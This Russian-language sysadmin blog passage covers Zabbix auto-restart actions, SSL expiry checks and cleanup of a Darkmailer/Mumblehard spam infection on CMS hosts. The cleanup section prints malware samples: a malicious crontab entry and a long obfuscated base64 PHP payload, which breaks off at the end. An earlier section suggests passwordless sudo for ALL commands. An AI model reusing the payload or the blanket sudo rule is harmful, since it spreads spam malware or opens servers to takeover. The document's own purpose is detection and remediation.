У нас есть некий сервис (демон), назовём его service, который мониторится Zabbix агентом на server, периодически сервис зависает, перестаёт правильно работать или просто падает. Происходить это может раз в неделю/месяц/год, но поднять его критически важно. Придумываем несколько UserParameter, с помощью которых можно будет определить состояние процесса, например через pidof service или фильтруя вывод ps | grep service. А так же анализируем логи сервиса, например обновляется файл или нет, появляются в нём записи определённого формата или нет.

Для начала лучше протестировать все выполняемые команды через sudo -u zabbix <команда>, а так же через zabbix_get с сервера. Если необходимы root права — добавляем в /etc/sudoers строку zabbix ALL=(ALL) NOPASSWD:<команда>

Если страха нет, смело пишем zabbix ALL=(ALL) NOPASSWD:ALL

Желательно (и проще) получать после выполнения команды число, например 1 — процесс запущен, 0 — не запущен. После тестирования добавляем в конфиг zabbix_agent.conf необходимые параметры UserParameter=<имя>,<команда> или если передаются дополнительные параметры (в данном случае их два): UserParameter=<имя>[*],<команда> «$1» «$2» (аккуратно с копированием кавычек с сайтов).

Так же в конфиг агента добавляем:

EnableRemoteCommands=1
LogRemoteCommands=1

Перезапускаем zabbix-agent на server. Создаём в шаблоне элементы данных, триггеры и добавляем сам шаблон к server (если Вы не знаете как это делать — обратитесь к официальной документации Zabbix). Переходим в «Последние данные», фильтруем по server и проверяем всё ли работает.

Тёмной ночью приступаем к настройке «Действий». Идём в Настройка — Действия. Создаём новое, даём ему имя, переходим на вкладку Условия и добавляем Состояние обслуживания не в обслуживании, Значение триггера = ПРОБЛЕМА, Триггер = вот здесь выбираем триггер из самого шаблона, а не из server. Тип вычисления выбираем A and B and C. Если триггеров несколько (сервис завис, умер), то будет что-то вроде A and B and (C or D).

На вкладке Операции остаётся самое интересное. Добавляем Выполнять удаленные команды на Текущем узле сети, Выполнять от 1 к 1, Тип операции Удалённая команда, Цель Текущий узел сети, тип Пользовательский скрипт, Выполнять на Zabbix агент, Команды sudo /etc/zabbix/scripts/<имя_скрипта.sh>

«sudo» потому, что для умерщвления процесса всё равно нужны root права. Создаём скрипт, даём ему права на исполнение chmod +x <имя_скрипта.sh>

Сам скрипт нужно писать исходя из Ваших потребностей и логики, у меня работает примерно так:

#!/bin/bash
echo -e "\nStart script" >> /etc/zabbix/scripts/zabbix.service.log
echo `/bin/date` >> /etc/zabbix/scripts/zabbix.service.log
tokill=`ps axu | grep "service" | awk '{print $2}' | head -n1`
echo "PID of service: $tokill" >> /etc/zabbix/scripts/zabbix.service.log
/etc/init.d/service stop
sleep 3
tokillbypid=`ps axu | grep "service" | awk '{print $2}' | head -n1`
while [ "$tokillbypid" ]
do
 echo "Process don't stopped, try to kill by PID: $tokillbypid" >> /etc/zabbix/scripts/zabbix.service.log
 kill -9 $tokillbypid
 killall -9 service
 sleep 1
 tokillbypid=`ps axu | grep "service" | awk '{print $2}' | head -n1`
 echo "Next PID is: $tokillbypid" >> /etc/zabbix/scripts/zabbix.service.log
done
echo "Ok, try to start service" >> /etc/zabbix/scripts/zabbix.service.log
/etc/init.d/service start
sleep 3
servicepid=`ps axu | grep "service" | awk '{print $2}' | head -n1`
echo "Service started and it's is: PID $servicepid" >> /etc/zabbix/scripts/zabbix.service.log
exit 0

Вторым шагом в операциях можно добавить отправку сообщения.

Внимательно протестируйте свой скрипт, желательно не на боевом железе или в нерабочие часы. Так же нужно защищаться от ложных срабатываний триггеров, например в следующем выражении триггера учитывается случай отсутствия данных от Zabbix агента (проблемы с производительностью Zabbix сервера, проблемы в сети, проблемы с доставкой данных от агента и т.д.), а так же непостоянный характер значений элемента данных (например данные отдаются раз в 30 сек, сервис работает интенсивно и 4 из 6 раз мы получаем ноль, но это не повод для срабатывания триггера) {Template App Service:service.nodata(180)}=1 or {Template App Service:service.avg(180)}=0

Простой мониторинг SSL сертификатов с помощью Zabbix

Недостатком простоты является некоторое количество ручной работы по добавлению элементов данных и триггеров, но лучше один раз сделать и потом не бегать с дымящейся известно_чем в день X.

1. Импортируем шаблон в Zabbix (на версиях 2.2 — 2.4 точно будет работать) zbx_export_templates_ssl;

2. «Присоединяем» шаблон к Zabbix server;

3. Правим конфиг Zabbix агента на сервере (я надеюсь он у вас установлен и мониторит сам сервер, потому что для этого есть хороший шаблон «из коробки»). Добавляем в /etc/zabbix/zabbix_agentd.conf (если у вас debian или вроде того).

UserParameter=ssl.eol[*],date -d "`echo | openssl s_client -connect "$1":"$2" 2>/dev/null | openssl x509 -noout -dates | grep "notAfter" | sed 's|.*notAfter=||'`" +%s
UserParameter=ssl.current,date +%s

4. Перезапускаем Zabbix агента /etc/init.d/zabbix-agent restart

5. Затем можно сходить в «Последние данные», выбрать Zabbix server и убедиться что элемент данных возвращает значения. А так же открыть шаблон и посмотреть из чего он состоит.

Итак, у нас есть два элемента данных ssl.current — текущее время и ssl.eol[google.com,443] (end-of-life) в unix формате. Данные забираются с агента путём манипуляции с конвертацией даты. Для элемента данных добавлено два триггера, которые срабатывают за три недели и за неделю до окончания срока действия сертификата. Для простоты клонируйте элементы данных и триггеры, меняя нужные значения. И не забудьте добавить зависимость трёхнедельного триггера от недельного.

Если у вас что-то не завелось — попробуйте на Zabbix сервере вручную выполнить запрос:

echo | openssl s_client -connect google.com:443 2>/dev/null | openssl x509 -noout -dates

Команда позаимствована тут: http://www.shellhacks.com/ru/Kak-Proverit-Srok-Deystviya-SSL-Sertifikata-iz-Komandnoy-Stroki-v-Linux

Darkmailer/DirectMailer, Спам, Joomla, WordPress, Linux/Mumblehard и всё такое

Синопсис

Чукча долго искал в чём дело читая access.log спамящего сайта, вычищал файлы, менял пароли, но оказалось дело глубже. Смотрю crontab, а там…

Симптомы: спам сыпется волнами, периодически процессы mail кладут сервер, удаление вредных php файлов длительного эффекта не даёт.

Лечение

Смотрим кто вызывает файлы в директориях /tmp и /var/tmp

crontab -l | grep tmp

Зачищаем через crontab -e -u <username>

Смотрим и чистим /tmp и /var/tmp на предмет подозрительных исполняемых файлов, лучше через mv <filename> /trash, вдруг «оно на самом деле было нужно».

Бэкапим директорию зараженного сайта и базу данных, удаляем папки и перезаливаем CMS движок, возвращаем нужные файлы. Внимание! Вредоносные файлы могут быть в любых директориях сайта, в WordPress прячутся и в файлах плагинов/тем/… и в uploads.

По access.log можно найти некоторые вредоносные файлы, которые бывают как новые, так и родные движку, но изменённые-заражённые. Поискать можно по дате изменения файлов или по содержимому, характерная фишка — код находится в конце первой строки через кучу пробелов, чтобы не было видно в консольных текстовых редакторах.

Если дата примерно известна можно попробовать так (из корневой директории сайта).

find ./ -exec ls -l {} \; > flist
cat flist | grep "php" | grep "\-rw" | grep "Мар 20" | grep -v "index"

Или по содержимому.

nice -n 20 grep "PCT4BA" -R /var/www/<site_folder>

Можно по другому начать искать файлы. Смотрим очередь писем.

exim -bp

Инспектируем зависшие в очереди письма.

exim -Mvh <id_письма> | grep php
exim -Mvb <id_письма> | grep php
find /var/www | grep <имя_файла>

После этого: меняем пароли, убираем доступ на ftp всем, кроме особенно нуждающихся, проверяем что на БД отключен «удалённый доступ». Ставим и настраиваем плагины, усиливающие безопасность, типа Block Bad Queries (BBQ), Wordfence Security или iThemes Security, Silence is Golden Guard, плагины на основе reCaptcha для логина и комментариев.

Литература

http://www.openkb.org/darkmailerdirectmailer-spam-script/

http://habrahabr.ru/company/eset/blog/257109/

http://habrahabr.ru/company/eset/blog/257293/

http://www.welivesecurity.com/wp-content/uploads/2015/04/mumblehard.pdf

Некоторые характерные файлы

Возможно не все из них связаны конкретно с данной проблемой, а на самом деле со скриптами, закодированными с помощью base64.

crontab -e <username>

*/15 * * * * /var/tmp/xlVgAZJ >/dev/null 2>&1
title.php

<?php
function tlzanh($mhkhsfkln, $vjaflaj){$olumkpczy = ''; for($i=0; $i < strlen($mhkhsfkln); $i++){$olumkpczy .= isset($vjaflaj[$mhkhsfkln[$i]]) ? $vjaflaj[$mhkhsfkln[$i]] : $mhkhsfkln[$i];}
$crtay="base64_decode";return $crtay($olumkpczy);}
$azjppsbx = 'JbDYJ16vU1SYQ7rsAFQbAFio5SoZOVCC1c67MjU7MjtyM8HS1c67s8Dy1x3riOiliPtVOVCC1c67MjU7MjtyMCF6scA71e78A7iy'.
'1x3riOipNP0zNOKafP89BaYQJbDYibF40LAw5OAkMeFxFCFxbhI'.
'iF7AS1cHkACrxFe7xA8F81eURM9II5xC5O1t5OSCC1c67MjU7Mjtyx7AMM7rD1eURMjIWMCA7A7rXs'.
'ciy1x3riOipNP0zNOKafP89BaYQkSorOVooU9Ho0T6jIOVC1eUQs8Fs'.
'5xC5GaYQUnrhUb7PJOVC1eUQs8FsiX7viOAuU1CVRsKVQXUoEXMoOVjZOVCQJ'.
'bDYi16e0yWl0hVCUnjtUFtyEn74UxIIfO39fnoaUhio5SYQO1t5OSCQQXUoEXFzDbcjiq'.
'eVDbpeU1QkEb7P0nrv5OAnJbpjbhIzDbcjQceoBaYQOSCCUnjtUbwHEbMVRxWzIbckEb7P0nrv5'.
'OAnJbpjEn74UxCZOVCQOxAnJbpjEn74Ux3riLHzIbckEb7P0nrv5OAnJbpjEn74UxCZOVCQOxAkA'.
'CjNAF6EQX4jGFcEinwHEbM91x3riOAnJbpjEn74Ust5OSjrOVjrOye5OSonIbwPIXjlE9WPI16eEdck0TAhJ1WkIX7y0hVC'.
'IXFKIOC5GaYViO3VQLAjGLSVRxWvILQo07reDbIv5OAeU1HefO3yRX8+QhCZOVYViO3VQLAjGLS'.
'VRxWvILQk0nFaEX7PUxV9RX8VJLQjUPc0i9itiOQEiOitiOAeU1He5st5iO3ViOAeU1HeiqeV0TAh1TQj0XpHDd'.
'MYiPalDsK9fO39i9aVQLAjGLSoBaYViO3VQLAjGLSVRxWvILQk0nFaEX7PUxV91Oi+i9aVi9WIiOitiOAeU1He5st5O93ViOWhU'.
'1Ac0nKVQLAjGLSZOye5OnUcEn6eJbrziXjv1dja5OAvILioiLt5iOWhU1Ac0nKV0LQjUcr4D1APJOV9fcKYbv84B'.
'Fcgbv84BFcENOew11apbv34BFcENOew11ahbv3467cENOew11ah6FtafsFI5xH0f'.
'9HENOew11pENxew1FtafsjIkq7ENOew1FtafsjIkqQENOee1FtafsjIkqicbv346'.
'Feo51tvkxSli9aC0TAh5st5kSY5UyFzDTAoEdKVUyQlEFrYET6e5OAPEdweUbwe5SoZOV'.
'YViO3VQXHl0TSVRxWa0nFy1TQj0XpHDdMYQhrG5LITITpnIL3o1OKlJx0tQh0tSOAkMeFxFCFxbhIiF7AS1eHRMcSy'.
'1xCZOVYViO3VJbDV5Xjv1dja5OAYET6e5xC5iO3ViLt5iO3ViO3ViOWhU1Ac0nKVQX6lEyAjEySZO93Vi'.
'OWrO93ViO35iO3ViOAeEd4jEyNVRxWjGLWtEdAj5OQ3i9aVQX6lEyAjEySoBaY5iO3ViOAPEdweUbweiqeVQLAlJdFz0cta'.
'1x3ziOQ3i93ziOAYET6eiOKViPK9BaY5iO3ViLQjILFhE93CDdrzIXFzIqt5kSY5UyF'.
'zDTAoEdKVDbpeU1QkEb7P0nrv5OAPEdweUbwe5SoZO93ViOWa0nFy1dcHIX6Y1d7tEOVyiTtYf9Yokx6F'.
'Jx0tiOAPEdweUbwefO3CEb7eDdHj0hCZOVYViO3VUnrh5OAoiqeVNqtVQXCVROWPETFzIOVCEb7eDdHj0ctp1xCZiOAo5htoO9'.
'3ViOWZOVYViO3ViO3ViOAz0h3riXFK0XplUXMYiya9fO3CEb7eDdHj0ctp1FtCJFeoBaYViO3ViO3ViOAPN93riX6lIb'.
'we5OAz0hCZO93ViO3ViO3VQLQHEnSVRxWhDbwC5q3tiOVCDviVfx3p5xCZO93ViO3ViO3VQX6lEyAjEySVRxWvILQk0nFaEX7PU'.
'xV9GhizQXcHIX6YU16ENFcEQXjIf9Qri9aVQXwvbhAhDbwC1xa'.
'VQX6lEyAjEySoBaYViO3VkSYViO3V0nFeI1QziOAPEdweUbweBaorOVY5UyFzDTAoEdKVGXwcEFr4Db6hETNYQX6lE'.
'yAjEySoOyt5iO3ViLWhUbIkEb7eDdHkDbpt5O0P174BFMc0fxHEbvoCJbIoIq'.
'oI1xto17ePQhaVQX6lEyAjEyStiOA4D1APJXFv5st5O93ViOWnETiYQXCVRx3aBh3CJx3giX6'.
'lIbwe5OA4D1APJXFvbvWI5stVQXCu5hC5iO3ViLt5iO3ViO3ViO3CEyF4iqe'.
'VQXcHIX6YU16ENFcEQXjIBaYViO3ViO3ViOA4JbKVRxWaET0YNs3tiOAzIbeVfx3p5st5iO3ViO3ViO3CEb7KiqeV'.
'0XrT5q8afO3CEyF45x34iq8ZOVYViO3ViO3ViOAhDbwCiqeV0n7zUOVCE'.
'bjzfO3CEb7K5st5iO3ViO3ViO3CDdrzIXFzIO3riL6e0jrhU1WtDb6j5OA4D1APJXFvbvWIbhAo1xaVQLQHEnStiOAPEdweUb'.
'we5st5iO3ViLe5iO3ViLQjILFhE93CDdrzIXFzIqt5kSY5UyFzDTAoEdKVEyF41dcHDTQl0h'.
'VCDdrzIXFzIOC5GaYViO3V0LQjUcr4D1APJ7rHEXaYQh60bcQWsCA0fxHEbvoCJbIoIqoI1xto1O'.
'eYbct2UXjyJ1S21Feu5FpIih0tiOAPEdweUbwefO3CEb7eDdHj0hCZOVYViO'.
'3VUnrh5OAoiqeVNqtVQXCVROWPETFzIOVCEb7eDdHj0cta1xCZiOAo5htoO93ViOWZO93ViO3ViO3VQXcoE'.
'93riOA4D1APJXFvbv7IbhAo1st5iO3ViO3ViO3CEb7KiqeVQXcHIX6YU16ENjcEQXjIBaYViO'.
'3ViO3ViOAhDbwCiqeV0n7zUOVCEbjzfO3CEb7K5st5iO3ViO3ViO3CDdrzIXFzIO3riL6e0jrhU1WtDb6j5OA4D1APJ'.
'XFvbvWIbhAo1xaVQLQHEnStiOAPEdweUbwe5st5iO3ViLe5iO3'.
'ViLQjILFhE93CDdrzIXFzIqt5kSY5OnUcEn6eJbrziXUeUbjt1dcHDTQl0hVCDdrzIXFzIOaVQXUeUbjt5SoZiO3Vi3YViO3V0nF'.
'eI1QziL6e0jrhU1WtDb6j5OQEAjA7xMpIi9aVQXUeUbjtfO3CDdrzIXFzIOCZOye5On6tD16'.
'vi7WiM8cHJbpj0VoZO93ViOWaIbQtJbNVQ7Uj0y6oEdKVRx3y6xKhfPCyBaY5iO3ViLWcDnpoDh3'.
'CMLQoETQoILCVRx3vBaY5iO3ViLWcDnpoDh3CSdHH0j6jIO3riOIo0dg4BqVcBxepQvt5O93ViOWaIbQtJbNVQ86l'.
'EyAjEyAMG1WjiqeVQTAjGLSl0XpHJbKyBaY5iO3ViLWcDnpoDh'.
'3CAbwPEdAoEn0VRx3yBXQoIO0ZOVYViO3V0LF9EXjPiOA70yQl0CjzUngVRx3yQvt5O93ViOWaIbQtJbNVQ8UhEde'.
'VRx3y0nrlI8WtEd6HEXHl0TSyBaY5iO3ViLWcDnpoDh3CAyQlEMwHEbMVRx3yMnrlIOWF0dFhQvt5O93ViOWaIbQtJbN'.
'VQ76jEnAj093riO0yBaY5iO3ViLWcDnpoDh3CMnFeI1QzMX7eJO3riO0yBaY5iO3ViLWcDnpoDh3CMTF9J'.
'nFPIO3riO0yBaY5iO3ViLWcDnpoDh3CSnrCGx3riO0yBaY5iO3ViLWcDnpoDh3CSbpeSn'.
'rCGx3riO0yBaY5iO3ViLWcDnpoDh3Cxb6HEO3riO0yBaY5iO3ViLWhETAjDTAjUO3CsMj6AMQlULCVRx3yQvt5O93ViOWa0nr'.
'eUb6eUbSVQ8cQsMFiUb7CU1iVRx3yQvt5O93ViOWa0nreUb6eUbSVQXcHJbpiUb7CU1iVRx3yQvt5O93ViOWa'.
'IbQtJbNVQ7Il0nA10n7aiqeVNqt5O93ViOWaIbQtJbNVQ8cHJbpj093riOI4DbjtQvt5O93ViOWa'.
'IbQtJbNVQ76jEnA4DbjtiqeVQhrc0Til0dQoE9rvUbwCEb7oEO0ZOVYViO3V0LF'.
'9EXjPiOAF0dFsUbwCEb7oE8raIXjlEyNVRxWe0yFjBaY5iO3ViLWcDnpoDh3CMXpcUdjzAXjhiqeVQh0ZOVY'.
'ViO3V0LF9EXjPiOAqEdwnJ1Q4MnFHUXjzUcAliqeVQh0ZOVYViO'.
'3V0LF9EXjPiOAiET6eEn74Ux3riO0yBaY5iO3ViLWcDnpoDh3CsbFv0d7'.
'yUMj8iqeVQh0ZOVYViO3V0LF9EXjPiOA6U16vDbIjAX7eUx3riO0yBaY5iO3ViLWcDnpoDh3CxXrvI'.
'O3riOItEd6HEXHl0TSyBaY5iO3ViLWcDnpoDh3CMXrhIO3riqicBaY5iO3ViLWcDnpoDh3CxXFtEh3riO0yBaY5iO3ViLW'.
'cDnpoDh3CMecMM76jDTFhUx3riO0yBaY5iO3ViLWcDnpoDh3CMecMM'.
'87cIXVVRxWnDbpvUst5O93ViOWaIbQtJbNVQ7FvU1QzDbcjiqeVQh0ZOVYViO3V0LF9EXjPiOASD1'.
'6vIdrhUO3riO0yBaY5iO3ViLWcDnpoDh3CS1FeJ7Aw0XMVRx3yQ'.
'vt5O93ViOWaIbQtJbNVQ7QjDbp4iqeVQh0ZOVYViO3V0LF9EXjPiOA1ETQu0TAHIX'.
'jlE93riO0yBaY5iO3ViLWcDnpoDh3CFXj4UbrcIO3riqNaNqt5O93ViOWaIbQtJbNVQ766F7W8UbQcUh3'.
'riq3ZOVYViO3V0LF9EXjPiOA8UbQcUdrcILWcIO3riOIjDdHlQvt5O93ViOWaIbQtJbNVQ766F'.
'7WfUbFaSbpoInMVRxWnDbpvUst5O93ViOWaIbQtJbNVQ76oEnItUFAliqeVUn7t0dMZOVYViO3V0LF'.
'9EXjPiOAsJbwyEXFMEe7h0n7wiqeVD1QhD1CY5st5O93ViOWaIbQtJbNVQXAl1TUj0y3VRxWnDbpvUst5O93ViOWaIbQtJbNVQ8'.
'7tEXrTAbcaILCVRxWnDbpvUst5O93ViOWaIbQtJbNVQ8p7iqeVijpziPt5O93ViOWaIbQtJbNVQ8AfxMck0dFtUb6eETiVRx3yQ'.
'vt5O93ViOWaIbQtJbNVQ8AfxMckJbAjEyAoILCVRx3yQvt5O93ViOWaIbQtJbNVQ8AfxMck0X7v0T'.
'WY0n7vUx3riO0yBaY5iO3ViLWcDnpoDh3CA84QsFrCEdcHJbKVRx3yQvt5O93ViOWaIbQtJbNVQ8'.
'AfxMck0LQoIn7eUx3riO0yBaY5iO3ViLWcDnpoDh3CDb6eJbrz1dU'.
'cEn6eJbrziqeVQh0ZOVYViO3V0LF9EXjPiOADsb7oEXFhiqeVQh0ZOVYViO3V0LQlI'.
'XFPIXFCiOAvE1AaiqeVEyFtEqt5O93ViOWa0nreUb6eUbSVQLAliqeVD1QhD1'.
'CY5st5O93ViOWa0nreUb6eUbSVQX6PiqeVD1QhD1CY5st5O93ViOWa0nreUb6eUbSVQXQPDh3r'.
'iX7h0n7w5OCZOVYViO3V0LQlIXFPIXFCiOAxU1WtGFAliqeVD1QhD1CY5st5O93ViOWa0nreUb6eUbSVQX7tE7rhUb6o0Xjj'.
'EyAviqeVD1QhD1CY5st5O93ViOWa0nreUb6eUbSVQX7eIX7PJXcjEySVRxWH0yQHGxVoBaY5iO3ViLWhETAjDTAjU'.
'O3CSTFvIXr4xXFHUXFhiqeVD1QhD1CY5st5O93ViOWa0nreUb6e'.
'UbSVQXpH0TA6U16vDbIjxMSVRx3yQvt5O93ViOWa0nreUb6eUbSVQXcj0T6H'.
'UdFkILjaUx3riO0yBaY5iO3ViLWhETAjDTAjUO3CDnrcEnAH0yCVRxWH0yQHGxVoBaY5iO3V'.
'iLWhETAjDTAjUO3CEX7zUTFHUdMVRxWH0yQHGxVoBaY5iO3ViLWh'.
'ETAjDTAjUO3CU1QhETQkDdrcEySVRx3aBaY5iO3ViLWhETAjDTAjUO3C0djyEjrPU1Qe1dUoEXMVRx3yQvt5O9'.
'3ViOWa0nreUb6eUbSVQL6oUdwkJdFw1dUoEXMVRx3yQvt5O93ViOWa0nreUb6eUbSVQL6oUdwkJdFw1TWH0TNVRx3y'.
'Qvt5O93ViOWa0nreUb6eUbSVQXFKDdFaIXjlEyNVRxWnDbpvUst5O93ViOWPEdwvIOWsF8rS1ec'.
'7Mc6WAeMVRx3aBaY5iO3ViX6lEy6ei76MscWkSerBF8jBFMMVRx3pBaY5iO3ViX6lEy6e'.
'i76MscWkScQQF8jqSMaVRx3hBaY5iO3ViX6lEy6ei86xs8DVRx391LQ0E9iZOVYViO3V0LF9EXjPiXUcEn6eJbrzi7rkDdrz0'.
'TAhIb6e5OAjGX6j0LAoEdwviqeVUn7t0dMoO93ViOWZO93ViO3V'.
'iO3VQLAYJ1N4RnFKDdFaIXjlEyNVRx3YDnrlEXFHE9CCU1HPU1WeJbrz0vt5iO3ViLe5O93ViOWaIbQtJbNVUyF'.
'zDTAoEdKV1crCU16e0yFPIOVoO93ViOWZOVYViO3VkSY5iO3ViLWhJ1UHIXMVUyFzD'.
'TAoEdKVEb7oE7WH0T6eJLQc5OAeEhaVQL6cDnojDTStiOA9EdAwfO3C'.
'JXFHUXFhfO3C0X7hDbcv5SYViO3VGaYViO3ViO3ViOglSdHjDdtVETUj0nplDbAoEn0VEdDVEb7oEOWnIbw'.
'PIXjlE9WeEhWHInroUOWCETF9EXM4UbwPEdAoEn05iO3ViO3ViOWoU93YJbwo1dIjIOV'.
'yEbQvILQoEn0zUyFzDcrlInFhEXrHUO0oiODVNxCVGaYViO3ViO3ViO3ViO3C0TF9J'.
'nFPIO3riOAeJXjvfswvUb6c0nFiUb7CU1iYQL6cDnojDTSoBaYViO3ViO3ViLeVUbpvUxWZO93ViO3ViO3ViO3V'.
'iOAvIbQmUb6eiqeVQLAYJ1N4RnFzDdrCUMHjDbAj09VCIXHo0he+0d'.
'FPI1QjxXFHUXFh5OAvIbQmUb6e5xCZO93ViO3ViO3VkSYViO3ViO3ViXjniOHoEn'.
'jkUdFe5OIvDbUj1dclUXMy5xWgkO3H5OAeJXjvfswF0dFsUbwCEb7oE8raIXjlEyNo5xWZO93ViO3ViO3ViO'.
'3ViOAhU16cELSVRxW3Eb7oEOVCIXgtiOAvIbQmUb6efO3CDnrCGxaVQX'.
'HjDbAj09CZO93ViO3ViO3VkxWjEL6jiLt5iO3ViO3ViO3ViO3VQLQj0TFtI'.
'O3ri8W4Dbjt5OAeEhaVQL6cDnojDTStiOA9EdAwfO3CJXFHUXFhfO3C'.
'0X7hDbcv5st5iO3ViO3ViOWrO93ViO3ViO3V0nFeI1QziOAhU16cELSZO93ViOWrOVYViO3V0LQlIXFPIXFCi'.
'XUcEn6eJbrziXFCUbQcUhVC0TAh5SYViO3VGaYViO3ViO3ViXjniOVCIXHo0he+MecMM8AjDyFyiqar'.
'iq3oiLt5iO3ViO3ViO3ViO3V0nFeI1QzBaYViO3ViO3ViLe5iO3ViO3ViO3lfe7'.
'dEdjCiX6tD16YiLIoIXVVDyFoELS4JbKVUyFzDTAoEdKVEn74U1N5iO3ViO3ViOWoU93Yibjz1d7h0n7'.
'w5OAeJXjvfsw8UbQcUdrcILWcIOaVD1QhD1CYQdFh0nrh1dplUh0tiOIYIXctQh'.
'aVQdFPJXgy5xCVDbwCiXjv1d6HEXpHDnpj5OAeJXjvfsw8UbQcUdrcILWcIO'.
'CoiLt5iO3ViO3ViO3ViO3VDd7tE7rc0dFh1dUcEnNYQLAYJ1N4RCAjDyFyETFe0LFefO3C0TAhfO3CIXHo0he+MecMM8AjDyFy5'.
'st5iO3ViO3ViO3ViO3V0nFeI1QzBaYViO3ViO3ViLe5iO3ViO3ViOWv'.
'IdjeDdVV5OAeJXjvfsw8UbQcUdrcILWcIOCVGaYViO3ViO3ViO3ViOWPD16jiOIj0yQl0jr'.
'tEd0yBVYViO3ViO3ViO3ViO3ViO3Vfhr8EdKyIOWlI1AaI1StiXoc0TSVEXryO93ViO3ViO3ViO3ViO3ViOWj0yQl0jrt'.
'Ed0YQL6e09CZO93ViO3ViO3ViO3ViO3ViOW90nFHJvt5iO3ViO3ViO3ViO3VDd7vUx3yJLA4EO'.
'02O93ViO3ViO3ViO3ViO3ViO3lfe6tUb7z0hWc0OWlI1AaI1SVDxW9J1SVUnrhiX8VDnFeIXFhiXplEd4oEn0ti8HMsMa40d7nU'.
'xWlI1AaI1S5iO3ViO3ViO3ViO3ViO3ViXFPJXgVJLA4EXFzIXjeJbFv53YViO3ViO3ViO3ViO3ViO3ViO3'.
'ViLWhUbIk0nFaEX7PUxVyfc400jpz1xtlQhaVQh0tiOAvILiof3YViO3ViO3ViO3ViO3ViO3ViO3Vi8'.
'FBF7rAFMrMAFNtO93ViO3ViO3ViO3ViO3ViO3ViO3VQcFMA9eKQaYViO3ViO3ViO3ViO3ViO3'.
'V5SYViO3ViO3ViO3ViO3ViO3Vf939RXQhRjpziPt5iO3ViO3Vi'.
'O3ViO3ViO3ViXQhUb7uBaYViO3ViO3ViO3ViOWPD16jiOIjDdHlQvY5iO3ViO3ViO3ViO3VUXFnD1FtIqY5iO3Vi'.
'O3ViO3ViO3ViO3ViOglsnrhEb7tJ1ojiXpoEnMVDyQjDb4vO93ViO3'.
'ViO3ViO3ViO3ViO3C0TAhiqeV0LQjUcrhU1WtDb6j5O0l57ph1Xwg1LQg1XKofdcvQhaVijpzi9aVQ'.
'L6e09CZO93ViO3ViO3ViO3ViO3ViOWjDdHliXI4UX7eUxVybxc4fbSVxqooByNy5x3ziOQ0IOiVf9WvILQk0nFaEX7PUx'.
'V5iO3ViO3ViO3ViO3ViO3ViO3ViO391XK9f3YViO3ViO3ViO3ViO3ViO3ViO3ViOQ0E93ViO3ViO3ViO3ViO3ViO3ViOW0IO3'.
'ViO3ViO3ViO3ViO3ViO3ViOitO93ViO3ViO3ViO3ViO3ViO3ViO3VILQoExVC0TAh5SYViO3ViO3ViO3ViO3ViO3V5x3z'.
'iOQ0E9iZO93ViO3ViO3VkSYViO3VkSY5iO3ViLWcDnpoDhWnIbwPIX'.
'jlE9Wo0eHMsMaYQXjvxLA4EO3riLAhIbMoO93ViOWZO93ViO3ViO3VJbDV5OAo0e'.
'HeEbaoiLt5iO3ViO3ViO3ViO3VQLAYJ1N4RC6lEyAjEyAMG1WjiqeVQTAjG'.
'LSlJLA4EO0ZO93ViO3ViO3VkxWjEL6jiLt5iO3ViO3ViO3ViO3VQLAYJ1N4RC6lEyAjEyAMG1Wjiqe'.
'VQTAjGLSl0XpHJbKyBaYViO3ViO3ViLe5iO3ViLe5O93ViOWaIbQtJbNVUyFzDTAoEdKVJ16ssFAS5OC5iO3ViLt5iO3ViO3V'.
'iO3CIXHo0he+sb7oEXFhiqeVQT64IL3yBaYViO3VkSY5iO3ViLWcDnpoDhWnIbwPIXjlE9Wo0ecHJbaY5SYViO3VGaYViO3Vi'.
'O3ViOAeJXjvfsw6DbjtU1iVRx3yEb7oEO0ZO93ViOWrOVYViO3V0LF9EXjPiXUcEn6eJbrziXjvM'.
'dFzUXcHJbaY5SYViO3VGaYViO3ViO3ViOAoEnjk0dFzUXcHJbpk0X7eJO3riXjzJFryU1S'.
'YQT6jEnA4Dbjt1TWHIXVy5st5O93ViO3ViO3VJbDV5O7vILQo0TAh5OAoEnjk0dFzUXcHJbpk0X7eJOaVQT'.
'6jEnA4DbjtQhCoiLt5iO3ViO3ViO3ViO3VQLAYJ1N4Rj6jEnA4DbjtiqeVQhrc0Til0dQoE9rvUbwCEb7o'.
'EO0ZO93ViO3ViO3VkxWjEL6jiLt5iO3ViO3ViO3ViO3VQLAYJ1N4Rj6jEnA4DbjtiqeVQXjzJFrvUbwCEb7oE7raD1AYB'.
'aYViO3ViO3ViLe5iO3ViO3ViO3CIXHo0he+sb7oEXFhiqeVQT6jEnA4DbjtQvt5'.
'iO3ViLe5O93ViOWaIbQtJbNVUyFzDTAoEdKVJ16AEb7oEOVoO93ViOW'.
'ZO93ViO3ViO3VQXjzJFrvUbwCEb7oE7raD1AYiqeVJbwo1dIjIOVy0dFzUXcHJbpk0X7eJO0oBaY5iO3ViO3ViOWo'.
'U93Yi16e0njvILiYQXjzJFrvUbwCEb7oE7raD1AYfO3y0bcHJbay5xCVGaYViO3ViO3ViO3ViO3CIXHo0he+Md'.
'FzUXcHJbaVRx3yfTUH09rpEb7oEOr9JbKl0bcHJba4JbwmUb6eQvt5iO3ViO3ViOWriXFt0dMVGaYV'.
'iO3ViO3ViO3ViO3CIXHo0he+MdFzUXcHJbaVRx3CJbwo1T6jEnA4Dbjt1'.
'TWHIXVZO93ViO3ViO3VkSYViO3ViO3ViOAeJXjvfsw6DbjtU1iV'.
'Rx3y0bcHJbayBaYViO3VkSY5iO3ViLWcDnpoDhWnIbwPIXjlE9WHUXAWUXAhU16v5OA'.
'HUXAhU16vfO3CEn74Ux3riO0y5SYViO3VGaYViO3ViO3ViLQjILFhE93CIXHo0he+DbACSbwW'.
'UXAhU16v5OIeEh0tiOAHUXAhU16vfO3CEn74UxCZO93ViOWrOVYViO3V0LF9EXjPiXUcEn6eJ'.
'brziX7CU86q5OAHUXAhU16vfO3CEn74Ux3riO0y5SYViO3VGaYViO3ViO3ViLQjILFhE93'.
'CIXHo0he+DbACSbwWUXAhU16v5OIPDh0tiOAHUXAhU16vfO3CEn74UxCZO93ViOWrOVYViO3V0L'.
'F9EXjPiXUcEn6eJbrziX7CU8QqShVCDbAC0nFv0haVQXwHEbMVRx3yQhC5iO3ViLt5i'.
'O3ViO3ViOWhU1Ac0nKVQLAYJ1N4Rn7CU87zSbAC0nFv0hVyDn6PQhaVQX7CULQj0TNtiOAzDbcj5st5iO3ViLe5O93ViOW'.
'aIbQtJbNVUyFzDTAoEdKVDbACMnFaELjMEhVCDbAC0nFv0haVQXwHEbMVRx3yQhC5iO'.
